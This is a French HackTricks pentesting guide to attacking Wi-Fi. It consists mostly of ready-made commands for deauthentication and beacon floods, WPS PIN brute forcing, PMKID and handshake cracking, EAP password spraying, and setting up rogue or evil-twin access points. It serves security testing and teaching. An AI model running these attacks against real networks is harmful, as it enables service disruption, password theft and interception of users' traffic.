Pentesting Wifi
Reading time: 36 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Commandes de base Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Outils
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Exécutez airgeddon avec docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
Il peut effectuer des attaques Evil Twin, KARMA et Known Beacons, puis utiliser un modÚle de phishing pour réussir à obtenir le vrai mot de passe du réseau ou capturer des identifiants de réseaux sociaux.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Cet outil automatise les attaques WPS/WEP/WPA-PSK. Il va automatiquement :
- Mettre l'interface en mode moniteur
- Scanner les réseaux possibles - Et vous laisser sélectionner la ou les victimes
- Si WEP - Lancer des attaques WEP
- Si WPA-PSK
- Si WPS : attaque Pixie dust et attaque par bruteforce (faites attention, l'attaque par bruteforce peut prendre beaucoup de temps). Notez qu'il n'essaie pas de PIN nulle ou de PINs générés.
- Essayer de capturer le PMKID de l'AP pour le cracker
- Essayer de désauthentifier les clients de l'AP pour capturer un handshake
- Si PMKID ou Handshake, essayer de bruteforcer en utilisant les 5000 mots de passe les plus courants.
Résumé des Attaques
- DoS
- Désauthentification/dissociation -- Déconnecter tout le monde (ou un ESSID/Client spécifique)
- APs factices aléatoires -- Cacher des réseaux, possible crash des scanners
- Surcharger l'AP -- Essayer de tuer l'AP (généralement pas trÚs utile)
- WIDS -- Jouer avec l'IDS
- TKIP, EAPOL -- Certaines attaques spécifiques pour DoS certains APs
- Cracking
- Craquer WEP (plusieurs outils et méthodes)
- WPA-PSK
- WPS pin "Brute-Force"
- WPA PMKID bruteforce
- [DoS +] Capture de handshake WPA + Cracking
- WPA-MGT
- Capture de nom d'utilisateur
- Bruteforce des identifiants
- Evil Twin (avec ou sans DoS)
- Open Evil Twin [+ DoS] -- Utile pour capturer les identifiants de portail captif et/ou effectuer des attaques LAN
- WPA-PSK Evil Twin -- Utile pour des attaques réseau si vous connaissez le mot de passe
- WPA-MGT -- Utile pour capturer les identifiants d'entreprise
- KARMA, MANA, Loud MANA, Beacon connu
- + Open -- Utile pour capturer les identifiants de portail captif et/ou effectuer des attaques LAN
- + WPA -- Utile pour capturer des handshakes WPA
DOS
Paquets de DĂ©sauthentification
Description de ici:.
Les attaques de désauthentification, une méthode répandue dans le hacking Wi-Fi, impliquent la falsification de trames "de gestion" pour déconnecter de force des appareils d'un réseau. Ces paquets non chiffrés trompent les clients en leur faisant croire qu'ils proviennent du réseau légitime, permettant aux attaquants de collecter des handshakes WPA à des fins de cracking ou de perturber de maniÚre persistante les connexions réseau. Cette tactique, alarmante par sa simplicité, est largement utilisée et a des implications significatives pour la sécurité des réseaux.
DĂ©sauthentification utilisant Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 signifie désauthentification
- 1 est le nombre de désauthentifications à envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez) ; 0 signifie les envoyer en continu
- -a 00:14:6C:7E:40:80 est l'adresse MAC du point d'accĂšs
- -c 00:0F:B5:34:30:30 est l'adresse MAC du client à désauthentifier ; si cela est omis, une désauthentification en broadcast est envoyée (ne fonctionne pas toujours)
- ath0 est le nom de l'interface
Paquets de désassociation
Les paquets de dĂ©sassociation, similaires aux paquets de dĂ©sauthentification, sont un type de trame de gestion utilisĂ©e dans les rĂ©seaux Wi-Fi. Ces paquets servent Ă rompre la connexion entre un appareil (tel qu'un ordinateur portable ou un smartphone) et un point d'accĂšs (AP). La principale distinction entre dĂ©sassociation et dĂ©sauthentification rĂ©side dans leurs scĂ©narios d'utilisation. Alors qu'un AP Ă©met des paquets de dĂ©sauthentification pour retirer explicitement des appareils indĂ©sirables du rĂ©seau, les paquets de dĂ©sassociation sont gĂ©nĂ©ralement envoyĂ©s lorsque l'AP subit un arrĂȘt, un redĂ©marrage ou un dĂ©placement, nĂ©cessitant ainsi la dĂ©connexion de tous les nĆuds connectĂ©s.
Cette attaque peut ĂȘtre effectuĂ©e par mdk4(mode "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Plus d'attaques DOS par mdk4
Dans ici.
MODE D'ATTAQUE b : Inondation de balises
Envoie des trames de balise pour afficher de faux APs aux clients. Cela peut parfois faire planter les analyseurs de rĂ©seau et mĂȘme les pilotes !
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
MODE D'ATTAQUE a : DĂ©ni de Service d'Authentification
L'envoi de trames d'authentification Ă tous les Points d'AccĂšs (AP) accessibles dans la portĂ©e peut surcharger ces AP, surtout lorsque de nombreux clients sont impliquĂ©s. Ce trafic intense peut entraĂźner une instabilitĂ© du systĂšme, provoquant le gel ou mĂȘme le redĂ©marrage de certains AP.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
MODE D'ATTAQUE p : Probing SSID et Bruteforçage
Le probing des points d'accÚs (AP) vérifie si un SSID est correctement révélé et confirme la portée de l'AP. Cette technique, associée au bruteforçage des SSID cachés avec ou sans liste de mots, aide à identifier et accéder aux réseaux dissimulés.
MODE D'ATTAQUE m : Exploitation des Contre-mesures Michael
L'envoi de paquets alĂ©atoires ou dupliquĂ©s Ă diffĂ©rentes files d'attente QoS peut dĂ©clencher les contre-mesures Michael sur les AP TKIP, entraĂźnant un arrĂȘt de l'AP d'une minute. Cette mĂ©thode est une tactique efficace d'attaque DoS (Denial of Service).
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
MODE D'ATTAQUE e : Injection de paquets EAPOL Start et Logoff
Inonder un AP avec des trames EAPOL Start crée des sessions factices, submergeant l'AP et bloquant les clients légitimes. Alternativement, l'injection de messages EAPOL Logoff factices déconnecte de force les clients, les deux méthodes perturbent efficacement le service réseau.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
MODE D'ATTAQUE s : Attaques pour les réseaux maillés IEEE 802.11s
Diverses attaques sur la gestion des liens et le routage dans les réseaux maillés.
MODE D'ATTAQUE w : Confusion WIDS
La connexion croisĂ©e de clients Ă plusieurs nĆuds WDS ou Ă de faux APs malveillants peut manipuler les systĂšmes de dĂ©tection et de prĂ©vention d'intrusion, crĂ©ant de la confusion et un potentiel abus du systĂšme.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
MODE D'ATTAQUE f : Fuzzer de Paquet
Un fuzzer de paquet avec diverses sources de paquets et un ensemble complet de modificateurs pour la manipulation de paquets.
Airggedon
Airgeddon propose la plupart des attaques mentionnées dans les commentaires précédents :
WPS
WPS (Wi-Fi Protected Setup) simplifie le processus de connexion des appareils à un routeur, améliorant la vitesse et la facilité de configuration pour les réseaux cryptés avec WPA ou WPA2 Personnel. Il est inefficace pour la sécurité WEP facilement compromise. WPS utilise un code PIN à 8 chiffres, validé en deux moitiés, ce qui le rend vulnérable aux attaques par force brute en raison de son nombre limité de combinaisons (11 000 possibilités).
Bruteforce WPS
Il existe 2 outils principaux pour effectuer cette action : Reaver et Bully.
- Reaver a Ă©tĂ© conçu pour ĂȘtre une attaque robuste et pratique contre WPS, et a Ă©tĂ© testĂ© contre une grande variĂ©tĂ© de points d'accĂšs et d'implĂ©mentations WPS.
- Bully est une nouvelle implémentation de l'attaque par force brute WPS, écrite en C. Il présente plusieurs avantages par rapport au code reaver original : moins de dépendances, performances améliorées en mémoire et CPU, gestion correcte de l'endianness, et un ensemble d'options plus robuste.
L'attaque exploite la vulnérabilité du PIN WPS, en particulier son exposition des quatre premiers chiffres et le rÎle du dernier chiffre en tant que somme de contrÎle, facilitant l'attaque par force brute. Cependant, les défenses contre les attaques par force brute, comme le blocage des adresses MAC des attaquants agressifs, nécessitent une rotation des adresses MAC pour continuer l'attaque.
AprÚs avoir obtenu le PIN WPS avec des outils comme Bully ou Reaver, l'attaquant peut déduire le PSK WPA/WPA2, garantissant un accÚs réseau persistant.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Cette approche raffinée cible les PIN WPS en utilisant des vulnérabilités connues :
- PINs pré-découverts : Utilisez une base de données de PINs connus liés à des fabricants spécifiques connus pour utiliser des PINs WPS uniformes. Cette base de données corrÚle les trois premiers octets des adresses MAC avec des PINs probables pour ces fabricants.
- Algorithmes de génération de PIN : Exploitez des algorithmes comme ComputePIN et EasyBox, qui calculent les PINs WPS en fonction de l'adresse MAC de l'AP. L'algorithme Arcadyan nécessite également un ID de dispositif, ajoutant une couche au processus de génération de PIN.
WPS Pixie Dust attack
Dominique Bongard a dĂ©couvert une faille dans certains Points d'AccĂšs (AP) concernant la crĂ©ation de codes secrets, connus sous le nom de nonces (E-S1 et E-S2). Si ces nonces peuvent ĂȘtre dĂ©couverts, le craquage du PIN WPS de l'AP devient facile. L'AP rĂ©vĂšle le PIN dans un code spĂ©cial (hash) pour prouver qu'il est lĂ©gitime et non un AP faux (rogue). Ces nonces sont essentiellement les "clĂ©s" pour dĂ©verrouiller le "coffre-fort" qui contient le PIN WPS. Plus d'informations Ă ce sujet peuvent ĂȘtre trouvĂ©es ici.
En termes simples, le problĂšme est que certains AP n'utilisaient pas des clĂ©s suffisamment alĂ©atoires pour chiffrer le PIN pendant le processus de connexion. Cela rend le PIN vulnĂ©rable Ă ĂȘtre devinĂ© depuis l'extĂ©rieur du rĂ©seau (attaque par force brute hors ligne).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Si vous ne souhaitez pas passer l'appareil en mode moniteur, ou si reaver
et bully
rencontrent un problĂšme, vous pouvez essayer OneShot-C. Cet outil peut effectuer une attaque Pixie Dust sans avoir Ă passer en mode moniteur.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Attaque Null Pin
Certains systĂšmes mal conçus permettent mĂȘme Ă un Null PIN (un PIN vide ou inexistant) d'accorder l'accĂšs, ce qui est assez inhabituel. L'outil Reaver est capable de tester cette vulnĂ©rabilitĂ©, contrairement Ă Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Tous les attaques WPS proposĂ©es peuvent ĂȘtre facilement rĂ©alisĂ©es en utilisant airgeddon.
- 5 et 6 vous permettent d'essayer votre PIN personnalisé (si vous en avez un)
- 7 et 8 effectuent l'attaque Pixie Dust
- 13 vous permet de tester le PIN NULL
- 11 et 12 vont récupérer les PINs liés à l'AP sélectionné à partir des bases de données disponibles et générer des PINs possibles en utilisant : ComputePIN, EasyBox et éventuellement Arcadyan (recommandé, pourquoi pas ?)
- 9 et 10 testeront tous les PINs possibles
WEP
Tellement cassé et inutilisé de nos jours. Sachez simplement que airgeddon a une option WEP appelée "All-in-One" pour attaquer ce type de protection. Plus d'outils offrent des options similaires.
WPA/WPA2 PSK
PMKID
En 2018, hashcat a rĂ©vĂ©lĂ© une nouvelle mĂ©thode d'attaque, unique car elle nĂ©cessite un seul paquet et ne nĂ©cessite pas que des clients soient connectĂ©s Ă l'AP cibleâjuste une interaction entre l'attaquant et l'AP.
De nombreux routeurs modernes ajoutent un champ optionnel au premier cadre EAPOL lors de l'association, connu sous le nom de Robust Security Network
. Cela inclut le PMKID
.
Comme l'explique le post original, le PMKID est créé en utilisant des données connues :
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Ătant donnĂ© que le "Nom PMK" est constant, nous connaissons le BSSID de l'AP et de la station, et le PMK
est identique à celui d'une poignée de main 4 voies complÚte, hashcat peut utiliser ces informations pour craquer le PSK et récupérer le mot de passe !
Pour rassembler ces informations et bruteforcer localement le mot de passe, vous pouvez faire :
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Les PMKIDs capturés seront affichés dans la console et également enregistrés dans _ /tmp/attack.pcap_
Maintenant, convertissez la capture au format hashcat/john et craquez-la :
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Veuillez noter que le format d'un hash correct contient 4 parties, comme : 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
Si le vĂŽtre contient seulement 3 parties, alors, il est invalide (la capture PMKID n'Ă©tait pas valide).
Notez que hcxdumptool
capture Ă©galement des handshakes (quelque chose comme ceci apparaĂźtra : MP:M1M2 RC:63258 EAPOLTIME:17091
). Vous pourriez transformer les handshakes au format hashcat/john en utilisant cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
J'ai remarquĂ© que certaines captures de handshakes avec cet outil n'ont pas pu ĂȘtre craquĂ©es mĂȘme en connaissant le mot de passe correct. Je recommanderais de capturer des handshakes Ă©galement de maniĂšre traditionnelle si possible, ou de capturer plusieurs d'entre eux en utilisant cet outil.
Capture de handshake
Une attaque sur les rĂ©seaux WPA/WPA2 peut ĂȘtre exĂ©cutĂ©e en capturant un handshake et en tentant de craquer le mot de passe hors ligne. Ce processus implique de surveiller la communication d'un rĂ©seau spĂ©cifique et du BSSID sur un canal particulier. Voici un guide simplifiĂ© :
- Identifiez le BSSID, le canal et un client connecté du réseau cible.
- Utilisez
airodump-ng
pour surveiller le trafic réseau sur le canal et le BSSID spécifiés, en espérant capturer un handshake. La commande ressemblera à ceci :
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Pour augmenter les chances de capturer un handshake, dĂ©connectez momentanĂ©ment le client du rĂ©seau pour forcer une rĂ©-authentification. Cela peut ĂȘtre fait en utilisant la commande
aireplay-ng
, qui envoie des paquets de désauthentification au client :
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Remarque que, comme le client a été désauthentifié, il pourrait essayer de se connecter à un autre AP ou, dans d'autres cas, à un autre réseau.
Une fois que dans le airodump-ng
apparaissent des informations de handshake, cela signifie que le handshake a Ă©tĂ© capturĂ© et que vous pouvez arrĂȘter d'Ă©couter :
Une fois le handshake capturé, vous pouvez crack cela avec aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
VĂ©rifiez si le handshake est dans le fichier
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Si cet outil trouve une poignée de main incomplÚte d'un ESSID avant celle qui est complÚte, il ne détectera pas la valide.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
Dans les configurations WiFi d'entreprise, vous rencontrerez diverses méthodes d'authentification, chacune offrant différents niveaux de sécurité et fonctionnalités de gestion. Lorsque vous utilisez des outils comme airodump-ng
pour inspecter le trafic réseau, vous pourriez remarquer des identifiants pour ces types d'authentification. Certaines méthodes courantes incluent :
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Cette méthode prend en charge les jetons matériels et les mots de passe à usage unique au sein de EAP-PEAP. Contrairement à MSCHAPv2, elle n'utilise pas de défi entre pairs et envoie les mots de passe en texte clair au point d'accÚs, posant un risque pour les attaques de rétrogradation.
- EAP-MD5 (Message Digest 5):
- Implique l'envoi du hachage MD5 du mot de passe depuis le client. Il est non recommandé en raison de la vulnérabilité aux attaques par dictionnaire, du manque d'authentification du serveur et de l'incapacité à générer des clés WEP spécifiques à la session.
- EAP-TLS (Transport Layer Security):
- Utilise à la fois des certificats cÎté client et cÎté serveur pour l'authentification et peut générer dynamiquement des clés WEP basées sur l'utilisateur et la session pour sécuriser les communications.
- EAP-TTLS (Tunneled Transport Layer Security):
- Fournit une authentification mutuelle via un tunnel chiffré, ainsi qu'une méthode pour dériver des clés WEP dynamiques, par utilisateur et par session. Elle nécessite uniquement des certificats cÎté serveur, les clients utilisant des identifiants.
- PEAP (Protected Extensible Authentication Protocol):
- Fonctionne de maniÚre similaire à EAP en créant un tunnel TLS pour une communication protégée. Elle permet l'utilisation de protocoles d'authentification plus faibles au-dessus de EAP grùce à la protection offerte par le tunnel.
- PEAP-MSCHAPv2: Souvent appelé PEAP, il combine le mécanisme de défi/réponse vulnérable MSCHAPv2 avec un tunnel TLS protecteur.
- PEAP-EAP-TLS (ou PEAP-TLS): Semblable à EAP-TLS mais initie un tunnel TLS avant l'échange de certificats, offrant une couche de sécurité supplémentaire.
Vous pouvez trouver plus d'informations sur ces méthodes d'authentification ici et ici.
Capture de nom d'utilisateur
En lisant https://tools.ietf.org/html/rfc3748#page-27, il semble que si vous utilisez EAP, les messages "Identity" doivent ĂȘtre pris en charge, et le nom d'utilisateur sera envoyĂ© en clair dans les messages "Response Identity".
MĂȘme en utilisant l'une des mĂ©thodes d'authentification les plus sĂ©curisĂ©es : PEAP-EAP-TLS, il est possible de capturer le nom d'utilisateur envoyĂ© dans le protocole EAP. Pour ce faire, capturez une communication d'authentification (dĂ©marrez airodump-ng
dans un canal et wireshark
dans la mĂȘme interface) et filtrez les paquets par eapol
.
Dans le paquet "Response, Identity", le nom d'utilisateur du client apparaĂźtra.
Identités anonymes
Le masquage d'identité est pris en charge à la fois par EAP-PEAP et EAP-TTLS. Dans le contexte d'un réseau WiFi, une demande d'EAP-Identity est généralement initiée par le point d'accÚs (AP) lors du processus d'association. Pour garantir la protection de l'anonymat de l'utilisateur, la réponse du client EAP sur l'appareil de l'utilisateur contient uniquement les informations essentielles requises pour que le serveur RADIUS initial traite la demande. Ce concept est illustré par les scénarios suivants :
- EAP-Identity = anonyme
- Dans ce scénario, tous les utilisateurs utilisent le pseudonyme "anonyme" comme identifiant utilisateur. Le serveur RADIUS initial fonctionne comme un serveur EAP-PEAP ou EAP-TTLS, responsable de la gestion du cÎté serveur du protocole PEAP ou TTLS. La méthode d'authentification interne (protégée) est ensuite soit gérée localement, soit déléguée à un serveur RADIUS distant (domicile).
- EAP-Identity = anonyme@realm_x
- Dans cette situation, les utilisateurs de diffĂ©rents royaumes cachent leurs identitĂ©s tout en indiquant leurs royaumes respectifs. Cela permet au serveur RADIUS initial de faire le proxy des demandes EAP-PEAP ou EAP-TTLS vers les serveurs RADIUS dans leurs royaumes d'origine, qui agissent comme le serveur PEAP ou TTLS. Le serveur RADIUS initial fonctionne uniquement comme un nĆud de relais RADIUS.
- Alternativement, le serveur RADIUS initial peut fonctionner comme le serveur EAP-PEAP ou EAP-TTLS et soit gérer la méthode d'authentification protégée, soit la transférer à un autre serveur. Cette option facilite la configuration de politiques distinctes pour différents royaumes.
Dans EAP-PEAP, une fois le tunnel TLS Ă©tabli entre le serveur PEAP et le client PEAP, le serveur PEAP initie une demande d'EAP-Identity et la transmet Ă travers le tunnel TLS. Le client rĂ©pond Ă cette seconde demande d'EAP-Identity en envoyant une rĂ©ponse d'EAP-Identity contenant la vĂ©ritable identitĂ© de l'utilisateur Ă travers le tunnel chiffrĂ©. Cette approche empĂȘche efficacement la rĂ©vĂ©lation de la vĂ©ritable identitĂ© de l'utilisateur Ă quiconque espionnant le trafic 802.11.
EAP-TTLS suit une procédure légÚrement différente. Avec EAP-TTLS, le client s'authentifie généralement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut User-Name et soit un attribut Password soit un attribut CHAP-Password dans le message TLS initial envoyé aprÚs l'établissement du tunnel.
Quel que soit le protocole choisi, le serveur PEAP/TTLS obtient connaissance de la vĂ©ritable identitĂ© de l'utilisateur aprĂšs l'Ă©tablissement du tunnel TLS. La vĂ©ritable identitĂ© peut ĂȘtre reprĂ©sentĂ©e comme user@realm ou simplement user. Si le serveur PEAP/TTLS est Ă©galement responsable de l'authentification de l'utilisateur, il possĂšde maintenant l'identitĂ© de l'utilisateur et procĂšde avec la mĂ©thode d'authentification protĂ©gĂ©e par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transfĂ©rer une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS omet la couche de protocole PEAP ou TTLS. Dans les cas oĂč la mĂ©thode d'authentification protĂ©gĂ©e est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la vĂ©ritable identitĂ© de l'utilisateur, remplaçant le User-Name anonyme de la demande RADIUS entrante. Lorsque la mĂ©thode d'authentification protĂ©gĂ©e est PAP ou CHAP (prise en charge uniquement par TTLS), les attributs User-Name et autres attributs d'authentification extraits de la charge utile TLS sont substituĂ©s dans le message RADIUS sortant, remplaçant le User-Name anonyme et les attributs TTLS EAP-Message trouvĂ©s dans la demande RADIUS entrante.
Pour plus d'infos, consultez https://www.interlinknetworks.com/app_notes/eap-peap.htm
EAP-Bruteforce (password spray)
Si le client est censé utiliser un nom d'utilisateur et un mot de passe (notez que EAP-TLS ne sera pas valide dans ce cas), alors vous pourriez essayer d'obtenir une liste de noms d'utilisateur (voir la partie suivante) et de mots de passe et essayer de bruteforcer l'accÚs en utilisant air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Vous pouvez Ă©galement effectuer cette attaque en utilisant eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Théorie des attaques client
Sélection de réseau et itinérance
- Le protocole 802.11 définit comment une station rejoint un Extended Service Set (ESS) mais ne spécifie pas les critÚres de sélection d'un ESS ou d'un point d'accÚs (AP) à l'intérieur.
- Les stations peuvent itinĂ©rer entre les AP partageant le mĂȘme ESSID, maintenant la connectivitĂ© Ă travers un bĂątiment ou une zone.
- Le protocole exige l'authentification de la station Ă l'ESS mais ne mandate pas l'authentification de l'AP Ă la station.
Listes de réseaux préférés (PNL)
- Les stations stockent l'ESSID de chaque réseau sans fil auquel elles se connectent dans leur Liste de Réseaux Préférés (PNL), ainsi que des détails de configuration spécifiques au réseau.
- La PNL est utilisée pour se connecter automatiquement à des réseaux connus, améliorant l'expérience utilisateur en rationalisant le processus de connexion.
Analyse passive
- Les AP diffusent périodiquement des trames de balise, annonçant leur présence et leurs caractéristiques, y compris l'ESSID de l'AP, sauf si la diffusion est désactivée.
- Lors de l'analyse passive, les stations écoutent les trames de balise. Si l'ESSID d'une balise correspond à une entrée dans la PNL de la station, la station peut se connecter automatiquement à cet AP.
- La connaissance de la PNL d'un appareil permet une exploitation potentielle en imitant l'ESSID d'un réseau connu, trompant l'appareil pour qu'il se connecte à un AP malveillant.
Sonde active
- La sonde active implique que les stations envoient des requĂȘtes de sonde pour dĂ©couvrir les AP Ă proximitĂ© et leurs caractĂ©ristiques.
- Les requĂȘtes de sonde dirigĂ©es ciblent un ESSID spĂ©cifique, aidant Ă dĂ©tecter si un rĂ©seau particulier est Ă portĂ©e, mĂȘme s'il s'agit d'un rĂ©seau cachĂ©.
- Les requĂȘtes de sonde diffusĂ©es ont un champ SSID nul et sont envoyĂ©es Ă tous les AP Ă proximitĂ©, permettant Ă la station de vĂ©rifier tout rĂ©seau prĂ©fĂ©rĂ© sans divulguer le contenu de sa PNL.
AP simple avec redirection vers Internet
Avant d'expliquer comment effectuer des attaques plus complexes, il va ĂȘtre expliquĂ© comment simplement crĂ©er un AP et rediriger son trafic vers une interface connectĂ©e Ă l'Internet.
En utilisant ifconfig -a
, vérifiez que l'interface wlan pour créer l'AP et l'interface connectée à Internet sont présentes.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Créer le fichier de configuration /etc/dnsmasq.conf
:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Ensuite, définissez les IP et les routes :
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
Et ensuite démarrez dnsmasq :
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Créer un fichier de configuration hostapd.conf
:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
ArrĂȘtez les processus ennuyeux, dĂ©finissez le mode moniteur et dĂ©marrez hostapd :
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Transfert et Redirection
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Une attaque de jumeau malveillant exploite la façon dont les clients WiFi reconnaissent les réseaux, s'appuyant principalement sur le nom du réseau (ESSID) sans nécessiter que la station de base (point d'accÚs) s'authentifie auprÚs du client. Les points clés incluent :
- DifficultĂ© de DiffĂ©renciation : Les appareils ont du mal Ă distinguer entre les points d'accĂšs lĂ©gitimes et malveillants lorsqu'ils partagent le mĂȘme ESSID et type de cryptage. Les rĂ©seaux du monde rĂ©el utilisent souvent plusieurs points d'accĂšs avec le mĂȘme ESSID pour Ă©tendre la couverture de maniĂšre transparente.
- Roaming des Clients et Manipulation de Connexion : Le protocole 802.11 permet aux appareils de se dĂ©placer entre les points d'accĂšs au sein du mĂȘme ESS. Les attaquants peuvent en profiter en incitant un appareil Ă se dĂ©connecter de sa station de base actuelle et Ă se connecter Ă une station malveillante. Cela peut ĂȘtre rĂ©alisĂ© en offrant un signal plus fort ou en perturbant la connexion au point d'accĂšs lĂ©gitime par des mĂ©thodes telles que des paquets de dĂ©sauthentification ou le brouillage.
- DĂ©fis d'ExĂ©cution : ExĂ©cuter avec succĂšs une attaque de jumeau malveillant dans des environnements avec plusieurs points d'accĂšs bien placĂ©s peut ĂȘtre difficile. DĂ©sauthentifier un seul point d'accĂšs lĂ©gitime entraĂźne souvent la connexion de l'appareil Ă un autre point d'accĂšs lĂ©gitime, Ă moins que l'attaquant ne puisse dĂ©sauthentifier tous les points d'accĂšs Ă proximitĂ© ou placer stratĂ©giquement le point d'accĂšs malveillant.
Vous pouvez créer un Open Evil Twin trÚs basique (sans capacités de routage du trafic vers Internet) en :
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
